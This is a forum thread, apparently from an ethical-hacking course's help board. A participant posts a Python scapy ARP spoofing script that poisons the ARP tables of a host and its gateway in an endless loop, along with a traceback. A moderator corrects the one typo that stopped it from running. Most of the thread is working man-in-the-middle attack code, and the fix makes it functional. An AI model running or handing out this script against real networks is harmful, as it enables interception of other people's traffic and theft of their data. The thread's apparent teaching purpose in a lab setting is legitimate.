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  • #40015
    Peter QueenPeter Queen
    Participant

    Hello,

    While i run this code I get the below message:

    #!/usr/bin/env python
    
    import scapy.all as scapy
    import time
    
    def get_mac(ip):
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    
        return answered_list[0][1].hwsrc
    
    def spoof(target_ip, spoof_ip):
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)
        # print(packet.show())
        # print(packet.summary())
        scapy.send(packet)
    
    while True:
        spoof("10.0.2.6", "10.0.2.1")
        spoof("10.0.2.1", "10.0.2.6")
        time.sleep(2)

    this is the error:

    [email protected]:~/PycharmProjects/arp_spoofing# python arpspoofing.py
    Traceback (most recent call last):
    File “arpspoofing.py”, line 25, in <module>
    spoof(“10.0.2.6”, “10.0.2.1”)
    File “arpspoofing.py”, line 18, in spoof
    packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)
    File “/usr/local/lib/python2.7/dist-packages/scapy/base_classes.py”, line 258, in __call__
    i.__init__(*args, **kargs)
    File “/usr/local/lib/python2.7/dist-packages/scapy/packet.py”, line 157, in __init__
    for fname, _ in fields:
    ValueError: too many values to unpack
    [email protected]:~/PycharmProjects/arp_spoofing#

    Can you help please?

    #40084
    diegodiego
    Moderator

    Hi Simo!
    You have a typo in this line:
    packet = scapy.ARP(op=2, pdst=target_ip, hwds=target_mac, psrc=spoof_ip)

    it should be hwdst not hwds.

    Change it and let me know how it goes!
    Diego

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